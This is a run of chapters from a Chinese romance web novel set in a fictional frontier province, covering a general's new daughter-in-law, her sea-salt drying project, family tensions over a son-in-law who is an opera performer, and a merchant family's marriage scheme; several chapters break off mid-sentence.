王丞相继续道:“其实真正的原因在其余人身上,儿子喜欢上了一个青楼女子,想要给她赎身在一起,父母不同意,这才给他娶了现在的媳妇,想着他成了亲就会收心,也是告诉他绝不会允许风尘女子入家门的。” 这个皇帝可以理解,估计没有哪家父母会想要看到自家儿子娶一个青楼女子,说出去别人一人一口唾沫就能把他们淹死了。 “父母本意是让儿子走回正路,没想到他受刺激太过,人已经变得疯疯癫癫的了,家里为了治他的疯病仅剩的家底都被掏空了,父母年纪大了没办法干活,家里全靠新进门的媳妇撑着。” 这件事是真的,王丞相已经派人去打探过了,但是他只需要知道这件事是真的就可以了,对于这四个人,跟他没有任何关系。 倒是被楚萧派来负责把故事传入王丞相耳朵的下属,因为见着新妇太过辛苦,悄悄送了她一笔钱,至于以后,还要看他们自己的了。 听到结局,皇帝沉思片刻:“丞相是想说什么?这和楚家有什么关系?” 12. 反应 《和亲路上被未婚夫抢回去了》全本免费阅读 不到一天,他们凉州的小将军娶妻的消息就像是长了翅膀似的飞了出去。 秦景明的夫人也听说了这个消息,好不容易逮着早饭的空挡把人拦下,“老爷,咱们家要不要递个拜帖去见见楚家少夫人?” 秦景明昨天晚上几乎没有合眼,都在安排准备工作,所以也没有和他夫人提起过姜令仪,“你去和将军夫人聊聊就可以,少夫人没有时间。” 等把准备工作做好了,姜令仪估计忙的都没有时间吃饭了,哪来的功夫去应付这些人情往来。 他这话说的含糊,秦夫人不太明白,这是楚家不准备承认这个少夫人? 悄摸声儿的成了亲不说,连认人的宴会都不给安排? 秦景明一眼就看出了他夫人的想法,扒饭的手停了下来:“要是见了少夫人,记得对人恭敬一点,这是楚将军亲自定下的亲事,小将军千里迢迢把人接回来的,楚家对这个少夫人很满意。” 说真的,要不是跟了楚将军这么多年,清楚他是一个什么样的人,秦景明还真的会以为楚将军是为了晒盐法的方子让儿子把人娶回来的。 不过想想以往楚将军干的不要脸的事情,秦景明又不太确定了。 反正不管怎么样,楚家的态度他们还是知道的,姜令仪是铁板钉钉的下一任家主夫人,不能得罪就是了。 也有外地来的钱家兄弟在商量怎么办,钱有财问道:“大哥,凉州这也太荒凉了,都没有什么商人在这里,咱们能在这里做什么生意?” 钱有金沉吟片刻:“正是因为这里没什么大商人,钱家才要来这里,凉州缺钱,楚将军缺钱,但是咱们家最不缺的就是钱了,要是能得到楚家庇护,就算舍了咱们半副身家也是值得的。” 这个钱有财倒是知道,他们家在锦州已经待不下去了,虽然他们有钱,但是再有钱的人碰到当地最大的父母官也是无计可施,虽然故土难离,但是他们一家还是当机立断离开了锦州。 如今他们兄弟二人只是来凉州探探底,看看来这里到底怎么样,他们家的大部队还在路上呢。 钱有财想起这些天的见闻,觉得楚将军为人确实是值得相信的,“大哥,在凉州咱们肯定不会像以前那样被欺负,凉州这么穷,也没有见过楚将军跟谁要过孝敬。” 甚至将军府都还没有他们家来的华丽,伺候的人也没有多少。不过这话他没有说出口,要是让人听见了,这不就是讨打了吗? 钱有金心里也赞同他的话,楚将军的品行绝对没有问题,他担心的也不是在这里他们布料的生意做不起来,他们家生意遍布全国,不会因为定居凉州就受到什么影响。 他最担心的,是没办法和楚将军搭上关系,如果日后再遇上权贵,他们当然要想办法应对。 楚将军是最好的选择。 如果楚将军真心想护一个人,就是皇帝他也敢得罪。 如今楚萧娶亲的事情已经传遍了,消息灵通的自然也知道了姜令仪的身份。 这可是连皇帝的人都敢抢啊。 如果楚将军能这么护着钱家,不,只需要护着他们三分,他们也就别无所求了。 钱有金叹息道:“本来与父亲商议好了,咱们家用六成家产作为小妹的陪嫁,楚小将军人姿龙凤,是再好不过的托付人选了。” 以他们家的家室当然是不敢肖想正妻之位的,但是楚萧还没有娶妻,只要小妹抓紧生一个儿子在府里站稳脚跟,凭着她的陪嫁和心计手段,他们钱家日后前程是绝对少不了的。 只可惜,楚萧怎么就成亲了,他怎么现在就成亲了呢! 而且以楚将军对姜令仪的看重程度,他们也不敢赌现在这样的提议到底是结亲还是结仇。 钱有金只能按住自己的心思,提笔给父亲写了一封信,封好之后交给了钱有财:“你亲自去送一趟,切记一定要送到父亲手里,至于下一步怎么做,你也问问小妹的想法。” 钱津津是他们兄妹三人里面最聪明的一个,父亲时常恨她为何不是男儿身,事关她的终身大事,到底也要看看她的想法。 而在一个普通的院子里,一对夫妻也在说楚萧结婚的事情。 “想来昨天母亲让我回去就是要见一见这个弟妹。”楚若不施粉黛,也没有什么华丽的首饰,但是仍然能看出她一身的矜贵气度。 顾优是她自己选的丈夫,她自小被宠爱着长大,虽不骄奢跋扈,但也是个固执性子,纵然母亲万般反对,她最终也如愿嫁给了心上人。 现在的日子虽然没有未出阁前富裕,但夫妻二人也相处的温馨和乐,再没有什么不满意的了。 顾优有些担心:“昨天你没有回去,也不知公主会不会怪罪。” 他仍然叫着如安公主尊称,只因怕楚若母女二人再为他闹得不愉快,如安公主不喜欢他,他便少往将军府里去,但是楚若还是要时不时回去看望父母的。 楚若握了握他的手:“没什么大事,我会和父亲解释的,昨晚你烧成那个样子,我也不放心离开,再说我也派人递了信,不会有什么失礼的地方的。” 顾优本来就有些忧郁的眉眼缓缓松开,露出一个清浅的笑容,整个屋子都被他的笑容映衬的亮堂起来了。 “那去的时候咱们多备些见面礼,希望萧弟不要怪罪才是。” 楚萧和楚将军对顾优的态度很正常,他们两个打探过顾优的品行,只要品行端正,其余的条件在他们眼里都不是问题。 再有权有势的人于他们家也没什么用,甚至可能会招来猜忌,他们也不需要楚若去联姻,所以找一个她自己喜欢的,品行没有太大瑕疵的 他们就不会反对。 楚家手里有兵权,晋国不知道多少高层将领和他们关系良好,更不知道有多少中低层士兵受过恩惠,那是文臣拍马也赶不上的力量。 这便是楚若的底气。 “小弟不是这样的人,而且能被他看中的姑娘,除了有过人之处,心量肯定也没这么小。” 楚若是真的不担心,她自认对弟弟还是有几分了解的,什么样的女人他没有见过,高贵优雅的,端庄大方的,活泼俏丽的,温柔婉约的,泼辣直爽的,这些他都遇到过,但是没有一个人能让他上心的。 但是姜令仪却做到了。 楚若对这个弟妹还是很期待的。 顾优最喜欢看她明亮的眸子中熠熠生辉的光芒,笑道:“既然想见,那就早点找个时间回去看看。” 楚若没有拒绝:“等你病好了我 13. 机会 《和亲路上被未婚夫抢回去了》全本免费阅读 系统给的晒盐法十分详细,且符合这个时代,不少经年的老手艺人都坦言不可能比这样再好的了。 这几天楚萧基本上都是在姜令仪睡着之后才回府,白天天不亮就离开了,两人根本见不上面。 本来正是新婚燕尔的好时机,结果两个人一个比一个忙,硬生生过成了异地恋的样子。 “小玉,二哥昨天晚上什么时候回来的?”姜令仪坐在梳妆台前,任由婢女给她梳头,又叮嘱道:“我要出门,衣服头发都简单一点,不要有太多的装饰。” 梳妆的婢女是临时补上来的,正好她这两天也没学多少发型,闻言很是松了一口气。 小玉在梳头方面很没有天分,现在正眼睛一点儿不错的偷师:“姑爷子时回来的,说是今天上午去处理公文,中午要回来跟您一起用饭。” 铜镜被磨得很是光滑,虽然比不上玻璃镜丝毫毕现,但是看着也很清晰了。 小玉的话音刚落,铜镜里的人明显有些失落:“中午我不在府里。” 姜令仪掰着手指头算了算时间:“到实验地的距离不近,今天实验就告一段落了,正式开始大范围晒盐,第一天还是需要我盯着。” 这几天她已经熟练掌握了骑马的技能,出行时她不耐烦坐马车,一向都是骑马的。 小玉挠了挠头:“那我找人去和姑爷说一声,别午饭回来找不见您。” 姜令仪用手撑着下巴叹了口气:“去吧去吧,让他晚上早点儿回来,我还有事和他商量。” 看姜令仪已经梳妆完毕,小玉偷师也结束了,干脆的应了一声就去外面找人了。 所幸府里有专门的人去军营找楚将军和楚萧,不用小玉专门打听怎么个流程,管家就已经把人给找来了:“小玉姑娘,以后少夫人有什么事儿都可以让这小子来跑腿儿,他别的地方不顶用,但是传个话很是没问题。” 被管家叫来的是一个三十多岁的汉子,闻言粗声粗气的保证:“将军府到军营的路我都踩遍了,闭着眼睛也能过去,我老李绝对靠谱。” 小玉上下打量了他一遍,老李说话铿锵有力,但是细看他眼里倒有些忐忑不安,再一想他那空荡荡的衣袖,小玉还有什么不明白的。 小玉略点了一下头:“那就拜托李大哥了。” 小玉知道自家小姐是不在意手底下的人身体残缺的,每个人都不容易,他们这样的人努力活着才需要更大的勇气。 管家松了一口气,实在是老李别的没什么手艺,少了一条胳膊对他的日常生活影响不大,但是要找个活儿干可不容易,他一家老小可还得靠着他呢。 今天也是巧了,正好碰到了少夫人找人送信,他便试着把老李推荐一下,没想到还真成了。 老李激动的不知道该说什么好,手掌有些紧张的摩挲着袖子,嘴里应着:“诶……这,我会好好干的。” 他们几个心知肚明,这是不可能只让老李去送个口信就让他这么激动的,而是姜令仪刚来,她手底下没有自己的人,她现在还得培养自己的班底,老李以后也会是给她干活的人。 小玉从荷包里掏出一两碎银:“我们姑娘……少夫人心善,李大哥拿着去吃些酒吧。” 要想马儿跑就得给马儿吃草,让人干活也得给钱呐。 小玉有些心疼,这可是一两银子啊,以前姜尚在的时候,她作为姜令仪身边的大丫鬟,过得可比一般的小官家的姑娘还要好,她也从没有缺过钱。 但是经过变故,小玉才明白银子的重要性,真是一文钱难倒英雄汉啊。 楚将军难道不是响当当的英雄吗?他还不是被凉州穷的心惊胆颤的! 姜令仪吃完早饭也要去给如安公主短暂的请个安,如安公主是一个很有涵养的人,就算她不喜欢一个人,她也绝不会表现出来的,顶多就是无视而已。 但是她现在对姜令仪印象改观了不少,这些天的丫鬟婆子又不时的在她耳边说姜令仪的好话。 最重要的是,姜令仪能改变凉州。 就凭这一点,如安公主就绝不会给她找不痛快,甚至还会护着她。 所以每天两个人的会面都称得上是愉快,姜令仪进去的时候如安公主正在看账本,府里的中馈都要她管着,看到姜令仪来,终于把账本放下闭了闭眼。 “都说了不用来请安,你好好去办你的事情,比在我这里浪费时间强。” 姜令仪笑着上前:“就算再忙,陪母亲说两句话的时间总是有的,夫君这两天事情多,儿媳当然要来您跟前尽孝了。” 如安公主扭头朝她的大丫鬟抱怨:“可仔细瞧瞧,这哪是你们嘴里沉稳大方的少夫人,明明是个无赖才是,尽孝还要挑两人份的。” 旁边的人也凑趣给主子们逗乐:“那还不是您惯的,可见少夫人待您如嫡亲母亲一般。” 如安公主的奶嬷嬷年纪大了,如今也不伺候人了,只是陪着主子们说说话,如安公主和楚将军对她很是敬重,所以她说话自在很多。 “要老奴说,这婆媳相处时间才是最长的,男人们要出去拼事业,女人们管理内宅,千百年来就是这样的,但也总没这个道理,我们妇道人家,可不比男儿郎差。” 老嬷嬷一生也算得上起起伏伏,浑浊的双眼中充满着时间带来的阅历和智慧。 她说的不错,就这一屋子的女子,有的绣艺出众,有的精于算数,有的擅厨,如安公主更是琴棋书画样样精通,至于姜令仪,她敢说没有人比她更会赚钱的了。 姜令仪轻声道:“总会有机会的。” 总会有机会的! “小玉,你说怎么才能做到呢?” 也不知道是不是听了那番话受到了刺激,姜令仪一边走一边问小玉。 小玉转头迷茫的看着她,仿佛在问她做到什么? 姜令仪沉重的心情也不翼而飞了,她摸了摸小玉的头:“没事,时间还长,总能做到的。” 小玉坚定点头:“虽然不知道小姐想做什么,但是您一定会成功的。” “这么相信我?” “老爷总说小姐有大智慧,还说奴婢傻人有傻福。”小玉表情很真诚,“刚出生的时候,家里人嫌弃奴婢是女孩,就把奴婢扔到了深里,那里常年有野兽出没,但是奴婢那天偏偏遇上了出门打猎的老爷。从此以后,奴婢再没有吃过什么苦头了。” 这些都是她大了之后姜尚让她自己去查的,不过知道自己是被父母抛弃之后也没有什么可伤心的,甚至还有些感激她那对狠心的父母,因为在她心里,姜家才是她的家。 倒春寒已经过去,路边的枝丫开始抽出新条,星星点点的绿意已经开始绽放,温柔的春风吹到身上已经没有了冷意。 等到了海边 14. 找来 《和亲路上被未婚夫抢回去了》全本免费阅读 “小将军怎么来了?”秦景明对楚萧的身影很熟悉,对他眼馋许久的踏雪乌骓更是熟悉的不能再熟悉了。 乌骓马一身皮毛油缎子般油光放亮,四只蹄子雪白无垢,但是这匹马脾气很不好,除了楚萧之外旁人都是碰也碰不得的。 但是这么一匹神骏,就没有哪个武将不爱的,秦景明就曾经偷偷摸摸想要组团去偷马,被乌骓两蹄子撅回来了。 当然,有这个想法的肯定不止他一个人。 秦景明有自知之明,当然知道楚萧不是来找他的,非常有眼色的找人给楚萧带路:“少夫人在和一些村妇聊天,您跟着进去就行。” 果然楚萧对他没有半分兴趣,听到姜令仪的下落,头也不回的就跟人走了。 留下秦景明对着他的背影憋气,这可真是,一点儿面子都不给他,不过想着难得看到楚萧这样的反应,又不由得失笑。 而姜令仪还在和村里的农妇聊天,一开始村里人都觉得有些拘谨,姜令仪虽然穿的不是很华贵,但是处处透着精巧。 就连簪着的花都有数不尽的巧思,他们初以为那是什么馥郁留香的名贵花朵,但是仔细来看,却是一朵栩栩如生的绒花。 绒花非金非玉,贵重的不是材质,而是其中的技艺和巧思,就算他们小老百姓也知道“一兜黄金一朵绒”。 现在的技艺没有流传下来,只有皇家的绣娘才有幸能学这门手艺,民间根本很难见到。 姜令仪倒是不知道绒花这么珍贵,这是她去请安时如安公主随手在梳妆台上拿来送她的,正好她觉得戴着首饰很麻烦,倒是绒花小小的很是精巧好看,马上摘了头上的首饰簪上了。 她戴着喜欢,如安公主看到自己送出去的东西也高兴。 一开始那些村民都频频看向天色,希望太阳能早点西斜,他们也好有借口回家做饭。 偏偏事与愿违,越是想走,越是感觉度日如年。 姜令仪装作不知道他们的心思,只是问道:“各位大嫂是有什么事情吗?” 村长媳妇看起来是最能端得住的,她穿着一身藏蓝色的粗布裙,看出来已经有些年头了,袖口上磨损的痕迹有些严重,上面用白色的丝线绣了两朵花。 村长媳妇听到姜令仪的问话,攥着衣袖的手紧了紧,尽量平稳着语气回话:“贵人,大家都是看着时间要该去做饭了,孩子们都在村子里玩儿,得叫他们一起去山脚捡些柴火回来。” 姜令仪先是说:“不用叫我什么贵人,我姓姜,叫我一声妹子就好。”又顺着她的话问:“我见嫂子家里还有不少柴,现在又要去捡吗?” 看姜令仪一直笑容温和的和他们说话,村长媳妇也渐渐放松了下来:“过两天天气就太热了,趁着现在凉快,闲着也是闲着,让孩子们去捡点儿柴囤起来,够用好多天了。” 姜令仪没有立刻说话,她刚刚还在担忧,这要是突如其来有一场雨,或者是涨潮来的风浪,那他们辛辛苦苦晒盐的成果可能就会保不住了,想不到她只是来问问农村现在的生活条件怎么样,居然阴差阳错有了解决办法。 “嫂子,”她的笑容更加真诚,“你是说你们都能看出来后面几天的天气如何?” “那可不是,”村长媳妇淳朴的脸上露出了爽朗的笑容,谈到自己擅长的领域,她的脸上有着动人的光芒,“我爹从小出海,吃的就是天气那碗饭,我从小耳濡目染也学会了点儿。” 她说的谦虚,但是旁边的人开始七嘴八舌的补充:“那哪是一点儿皮毛?我们这儿的天气,她从来没有看不准的,说是明天下雨,绝不会在子时前下,因着这个,我们村子的粮食收成可比别的村多上不少呢!” 姜令仪也跟着一起称赞村长媳妇的绝活儿,心里也盘算着把她请来当他们的活体天气预报。 解决了一件烦心事儿,又和她们聊了会儿八卦,要说村里的大娘们最感兴趣的,知道的最多的是什么,那必然是各家的八卦了。 村子里绝对是什么事儿也瞒不住的,姜令仪正津津有味的听着她们说谁家嫂子和小叔子的故事呢,就看到了一个不可能出现在这里的身影。 “二哥?”姜令仪的声音因为惊讶所以有些抬高:“你怎么这个时间来了?” “接你。”楚萧翻身下马,言简意赅。 或许姜令仪还没有意识到,在这个时代,身边这个男人已经不自觉的成为了她的依靠,哪怕什么都不做,看到他就能心里平静下来。 “大妹子,这是你相公?长得可真俊啊,你们两个神仙般的人儿站在一起可真是般配,以后生个小崽子,那指定得比观音座下的童子还好看。” 随着她的描述,楚萧的脑海里已经浮现出了一个长得跟他和姜令仪各有几分相似的胖娃娃,当他看向姜令仪时,姜令仪也看向了他。 随即又极有默契的各自移开了目光。 姜令仪抿了抿唇,没有接这个话。 天色实在是不早了,各家都要回去做饭了,姜令仪这次并没有挽留,倒不是她吝啬那点儿饭菜,实在是他们去周围收的猪也不多,当兵的饭量都大,这些估计也就将将够,人要是再多些就要吃不饱了。 姜令仪可没有充大方让自己这里干活的人饿肚子的想法。 待人都走后,姜令仪对楚萧发出邀请:“二哥,我们在周围转转?” 楚萧把乌骓马留在这里,缰绳随意耷拉着,姜令仪有些好奇:“他不会跑走吗?” 乌骓看着就野性难驯,如果不把他拴住,他真的不会自己跑掉吗? 楚萧随意摸了一把乌骓的马头,解释道:“他已经认主。” 乌骓马是楚萧无意间在野外碰到的,野马性子本来就烈,再加上他腹部受了箭伤,更是不好接近。 但他倒是不排斥楚萧,后来楚萧亲自为他拔箭治伤,伤好之后乌骓马却不愿意走了。 就一直到了现在。 姜令仪对乌骓也很眼馋,很想摸一摸他油光发亮的皮毛,但是乌骓马嫌弃的看了她一眼,打了个响鼻,溜溜达达的去一旁吃草了。 如此通人性,姜令仪对他喜爱更甚:“他有名字吗?” 楚萧:“他名为踏月。” 姜令仪看着踏月四只雪白的蹄子,本以为会叫“踏雪”呢,不过看他清傲矜持的性子和“踏月”二字很是相配。 既然踏月不愿意让摸,姜令仪也没有勉强,不过她可没有放弃,日后见面的时间还很长,她会好好贿赂他的。 还没开饭,众人手里的活儿也没停,姜令仪二人就着炖肉的香味儿转头去了一旁的树 15. 横财 《和亲路上被未婚夫抢回去了》全本免费阅读 楚萧收紧了手臂,静静等着她平复自己的情绪。 好在姜令仪发泄了一通之后状态轻松了很多,即使现在眼眶红红的有些尴尬,却也很快调整好了情绪。 只要她不尴尬,尴尬的就不会是她。 “二哥,那里的天气怎么样?”姜令仪若无其事的退后一步,问起了正事。 怀里的温软骤然离开,楚萧忽然觉得空落了一瞬,差点就伸手把她拉回自己的怀抱。 不自在的目光游移了一下,楚萧道:“夏季昼夜温差极大,冬季严寒,很不适合生存。” 他这次带人过去也不知道会呆多久,宋将军不是轻敌之人,但是时间这么久了,突厥依旧没有被打回去,可见在他们还没有看到的时候,这个甚至称不上国家的部落已经发展起来了。 姜令仪默默盘算着能用得上的东西,楚萧被晾在一边,也没有出声,一时间安静了下来。 “小将军,少夫人,开饭了~” 喊他们吃饭的声音远远传来,打破了这里的静谧,姜令仪也骤然回神:“走吧,带你去尝尝这里的杀猪菜。” 姜令仪也没有问他吃不吃得惯的问题,像他们打起仗来,每天能有的吃就不错了,谁会在战场上还期待锦衣玉食呢? 村子里做饭好吃的标准就是量大油水多,和军营里那些还在长身体的小伙子们的品味完全一致,所以做饭大厨耳边的夸赞声根本没有停下来过。 一方吃的满意,一方对食客们的表现也很满意,双方其乐融融,气氛很是融洽。 姜令仪和楚萧一来,就有人热心的塞一大海碗给他们,姜令仪看着比自己脑袋还大的碗,一下子就僵住了。 但是让她拒绝吧,她又做不到拂了他们的纯粹的好意,一时间进退两难。 楚萧注意到了她的窘境,看她对着大碗畏惧却又不忍拒绝的眼神,他眼里的笑意一闪而过。 楚萧凑近她耳边:“剩下我吃。” 姜令仪被他突然靠近惊了一跳,听到他的话,又不好意思的环顾了一下四周。 好在周围的人都忙着大口吃饭,就算留意到他们的互动也没觉得有什么,都是正经夫妻了,亲密一些才正常,客客气气的才让人不放心呢。 姜令仪不习惯和人分享食物,倒不是她吝啬,她只是不喜欢和人用同一个碗吃,或者自己吃着吃着让别人咬一口,她喜欢距离感和边界感,这样的事情对她来说太亲密了。 不过现在的年月,姜令仪不会为了以前的习惯浪费粮食,再加上楚萧是她往后余生的另一半,吃她碗里的饭,倒也合情合理。 有楚萧分担,姜令仪就不用担心自己剩下饭菜了,开始认真品尝美味。 说实话这味道算不上好吃,只能说是普通,比不上将军府的简单烹调,更比不上她以前吃过的花样。但是难得的,姜令仪在里面吃出了家常菜的普通味道。 最后她只吃了小半个馒头和几口菜就饱了,楚萧看她就跟看个小猫崽子似的。 他没有说话,接过碗把她吃剩的都包圆了,甚至吃了她剩下的馒头之后又吃了尖尖的两碗米饭。 再看看周围,所有的人都是一海碗的杀猪菜,三个扎实的大馒头起底。 姜令仪心里升起了深深的敬佩之情。 而楚萧则认为她吃的那么少肯定是因为身体不好,在回去的路上就已经根据她的体质给她制定好了一系列的计划。 与此同时,收到钱家兄弟传信的钱老爷子叫来了自己的小女儿:“你来看看。” 他把信递了过去,自己坐在椅子上有一搭没一搭的敲着桌子,眉间的褶痕深刻,显然是被信上的内容震动心神。 钱津津快速看完兄长的来信,又挑着她想知道的内容字斟句酌的看了一遍,放下信便有了决定:“父亲,凉州还是要去的。” 她没有做一般闺秀女子的打扮,反而是一身利落的男装,头发高高扎起,分明就是一个秀气的少年郎。 但是当她一开口,和便能分辨出这是一个女娇娥:“但是进将军府的决定恐怕是不成了。” 当初一家人商量前往凉州时,钱津津也参加了讨论,关于去将军府做妾她也是同意了的,时下风气如此,再没有比联姻更能把两家人拴在一起的了。 但是钱老爷子明显还在犹豫:“津津,为父自然也不愿意让你做妾,但是楚小将军这样的人,怕是世上再难寻到一个二个像他这样如此优秀的了。” 钱津津不在乎男人,她这些年一直都有插手家里的生意,但是父亲从未想过把家里的产业交到她手上,就因为她是一个女儿,所以她天生就应该嫁人,去为家族换取利益? 这样真的是对的吗? 别人的想法不重要,但是她钱津津,绝不会让自己沦落到交易品的地步。 “父亲,想来楚小将军的新婚妻子很得楚将军的重视,甚至小将军本身对她也很是满意。”钱津津顿了顿,又道:“凉州女子彪悍,多的是人只一夫一妻到老,就连楚将军都不例外,纳妾之事,恐怕很难达到我们的预期。” 其实当初钱津津就觉得这个提议大概率不会成功,她了解过楚将军父子,所以本想打算用银子当敲门砖,以后在他们手底下做事的。但要是现在在有了楚家少夫人的情况下再提这件事,恐怕会被打出门来的。 所以必须要打消钱老爷子的想法了。 钱老爷子自小生活在温柔乡,他不认为有哪个男人能拒绝漂亮的女人,更不用说是带着大笔财富进府的漂亮女人。 “要是没有姻亲关系,那我们之间的利益怎么能稳固呢?”钱老爷子目光悠远,长长叹了口气:“津津,我们家再经不得如此动荡了。” 虽然知道这是人之常情,但是听到一向疼爱自己的父亲这么说,钱津津真的很想问问:难道她钱津津真的就只能自甘为妾吗?难道钱家就只能靠卖女儿活下去吗?难道她父亲,真的不是放弃了她吗? 钱津津有些无力,她这么聪明,当然能猜到父亲的想法,比起家族的兴盛,比起哥哥们的前程,她一个本来就要出嫁成为别人家人的女儿,委实不太重要。 虽然这样的想法在现在的环境下无可指摘,甚至钱老爷子的做法还称得上是疼女儿,但是钱津津还是觉得好讽刺啊。 这真的是外界说的疼女儿如命的父亲吗? 楚萧还不知道有个老头子在心心念念的给他塞女人,他和姜令仪回来之后就去正院了。 但是他们来的时机貌似不太好,在外面的丫鬟看到两个人就好像看到了救星,原本安静的院子顿时活了起来。 旁边有声音小声提醒:“大小姐和姑爷来了,现在夫人心情不太好。” 说不太好都已经是比较克制了,楚萧了解自己母亲,知道她一直不满姐夫,这不满甚至严重到她当众不给姐夫面子。 16. 保护 《和亲路上被未婚夫抢回去了》全本免费阅读 等到有丫鬟来喊吃饭,屋子里的气氛已经融洽了不少,之前母女俩剑拔弩张的气氛早就消失无踪了。 楚萧看到姜令仪和楚若一人一边扶着如安公主进来的时候,他是有些惊讶,但还不至于失态,但是当他看到如安公主对姐夫堪称温和的态度之后,他就真的有些好奇姜令仪是怎么办到的了。 姜令仪对他的疑问笑而不语。 她其实什么也没有做,但是当她出现在众人面前的时候,就什么也做了。 如安公主会对着楚将军还有楚若楚萧表达自己的不满和愤怒,但是她在顾优面前顶多就是无视他,不会真正给他言语上的难堪。 因为在如安公主心里,她是可以在家人面前展现自己的坏脾气,可以表现自己的喜恶,但她绝不会在外人面前展露一丝半毫。 现在的姜令仪,虽然不至于让如安公主不满,但是他们相处的时日太短,让如安公主把她当成是一家人就有些为难人了。 所以有姜令仪在的场合,就算是装,如安公主也会装出一副其乐融融的场面。 在姜令仪这些天和如安公主短暂的相处中,她并不认为这个婆母是个多么难搞的人,恰恰相反,她身上有着现在大家闺秀的温柔和贤淑,真正的做到了以夫为天,只要是楚将军说的话,她都会坚定的支持,只要是楚将军想做的事情,她也从来不会反对。 哪怕是在楚萧身上,作为她后半生依靠的儿子的婚事,她也只是隐晦的表达了不情愿,但是当楚将军下定决心的时候,如安公主也不会激烈反驳。 所以姜令仪真的很好奇,到底是一个什么样的人,能让如安公主不顾体面表达自己的不满。 她本来想问楚萧的,既是为了满足自己的好奇心,也是为了提前避免触碰雷区,但是这两天两个人根本打不着照面,这个问题也就一直压在她心底了。 但是当姜令仪看到顾优的第一眼,就明白了如安公主的不乐意。 顾优是个戏子。 在前朝,戏子的地位甚至还不如娼妓,妓可以通过嫁人或者自赎来摆脱贱籍,运气好点嫁个有前途的人甚至可以请封诰命。 但是戏子却不能去籍。 现在他们的地位倒是有所提高,但是一提戏子,哪个达官贵人不是视其为玩物的,如安公主娇养长大的女儿选择了这么一个人,她不炸了才怪。 但是丈夫和儿子在考察了这人的品行之后倒是没有反对,如安公主再多的不赞同也都如数咽了回去。 既然反对不成功,那就想办法改变。 像他们这样的人家,给顾优脱籍还是很容易的,在如安公主的设想里,让顾优脱籍之后捐一个小官,要是有能力就一步步往上走,要是没能力也没关系,家里人总会提携他的,日子总能过得很好的。 但是顾优却并不想走那样一条坦途。 从他的名字就能看出来,他是真的热爱唱戏,甚至在自己有能力之后给自己改名为“优”。 优伶并称指戏曲演员,顾优从小被遗弃,在戏班子里长大,他有天赋,对戏曲也十足热爱,所有人都断言他在这条路上会有不菲成就。 这些年,唱戏早就成了他的生命中的一部分,这也是姜令仪一眼就能看出他身份的原因。 让他放弃自己的生命,顾优觉得自己做不到。 恰巧,楚若喜欢的,也是在舞台上肆意释放魅力的顾优,如果他去做官了,那和其他人有什么区别呢? 也正是因为如此,如安公主和小夫妻二人的隔阂越来越深,见面次数也越来越少了。 认真算起来,距离母女二人上一次见面,已经有半年之久了。 知道自己不孝,但是没有办法,楚若不能理解母亲对身份的看重,如安公主也理解不了他们所谓的爱情。 楚若从小受宠,她想做什么便做什么,她不爱绣花,那就不绣,她想习武,便和弟弟一起习武,甚至她想去军营,在知道她不是玩闹是真心实意想去学点儿东西的时候,她也如愿去了。 楚萧的身上还背负着许多责任,但是楚若,她可以说是从来没有什么什么得不到的东西,也从来没有人用时下的规则去约束她。 姜令仪却能明白二人的观念差异。 但这却不是一两句话就能说清楚的,而且她开口劝也不合适。 好在现在吃饭也讲究食不言寝不语,不尴不尬的吃完了饭,楚若夫妻二人便告辞了。 楚将军和楚萧都难得在家,猜想着这可能是战前的假期,楚将军应该也要和如安公主说这次让楚萧去战场的事情,姜令仪二人也没有多留。 果不其然,还没有走远,姜令仪隐约听到如安公主的惊呼,夹杂着“突厥”、“战场”的字眼。 如果单纯只是上战场,如安公主可能还没有那么在意,但是突厥那边的天气可是出了名的恶劣,由不得她不担心。 楚萧脚步不停,甚至连丝毫停顿都没有。 姜令仪深知他的想法,笑问:“二哥不怕母亲拦下?” 虽说如安公主算得上理智,但事关唯一的儿子性命,她总不可能淡然以对。 楚萧的步子不急不缓,显然是在配合她的步伐,听到她的话,唇角微微抬了一下:“父亲会解决的。” 毕竟楚将军才是负责调动的人,若是有什么问题,也应该是他解决才对。 姜令仪也笑,忍不住侧头看向他,旁边的人也正好转过头来,虽然年纪刚刚及冠,但一身气势却比久经沙场的老将还要冷肃。 盯着人看时不禁让人胆寒。 但是此时阳光正好,融融暖意融化了楚萧身上的距离,他的眼里含着笑意,现在才像是一个意气风发的少年郎。 姜令仪笑着看他了一眼,“二哥可真是万事不管。” 楚萧并没有回她这小小的抱怨,顺势牵住了她的手。 姜令仪本来还想再调侃两句,此时也不禁住了声音,一路上人不少,姜令仪转念一想,他们本就是夫妻,牵个手也没有什么,便坦然的由他了。 其他人对他们的亲密也都乐见其成,两个人关系好,等过了孝他们的小主子才能早点儿到啊。 等二人进了门,跟着的人都自觉停在了门外,小玉直挺挺站着守门。 “二哥,东西都收拾好了吗?” 姜令仪不知道打仗需要带什么,所以就让管家按例准备了,收拾好了她再看看有没有什么需要添补的。 “不必操心,管家会准备好的。” 楚萧握着她的手没有分开。 这段时间姜令仪一直在忙晒盐的事情,本来就不怎么健康的身体肉眼可见的消瘦 17. 钱家 《和亲路上被未婚夫抢回去了》全本免费阅读 两人都没有再说什么,周边情绪有一瞬间的涌动,又倏然归于平静。 门外的人不知道屋内情形,便直接通报了,“小将军,钱家的人到了。” 姜令仪被门外的动静惊回了神,“钱家?二哥怎么关注他们家了?” 要不是楚萧让人特意关注,区区一个钱家的动向还不至于报到他面前,这肯定是楚萧特意嘱咐过了的。 “钱家能做生意。” 楚家的生意都有管家打理,所有的产业都有定数,并没有什么需要钱家的地方,还是最近姜令仪晒盐成功,楚萧才注意起来城内打探消息的钱家兄弟。 他让人盯着兄弟俩,现在有消息,估计是钱家的当家人到了。 不止如此楚萧还派人打探了钱家的消息,“把调查结果给少夫人。” 听到楚萧的话,对面的人顿了一下,但很快反应过来,从袖子里掏出一张纸递给姜令仪,待她接过,这小子给了楚萧一个同情的眼神儿,悄摸着退下了。 “小五子,怎么不在小将军那里跟着了?” 他们都是楚萧的亲卫,一般总会留人在楚萧身边,方便随时传话或者做事,今天是小五值班,按理说他不应该走开的。 小五拍了拍胸口,“之前小将军不是让查钱家吗,刚刚钱家老爷子进城了,我去回了话,结果你猜怎么着?” 小五年纪不大,平楚萧对他们日常生活中的性格并不加拘束,所以人还是格外活泼,对着哥哥们也敢卖关子。 一巴掌呼到了小五脑袋上,“怎么了,快说啊。” 小五挠了挠脑袋也没生气,笑呵呵的的抛下了一颗炸弹:“小将军让把调查钱家的消息给少夫人看了。” “给少夫人看怎么了,小五子,你这思想可要不得,咱们凉州可不兴男尊女卑那一套,姑娘们比大老爷们还能干,女人们当家做主的多了去了,少夫人看个钱家的消息怎么了又不是什么军中机密情报。” 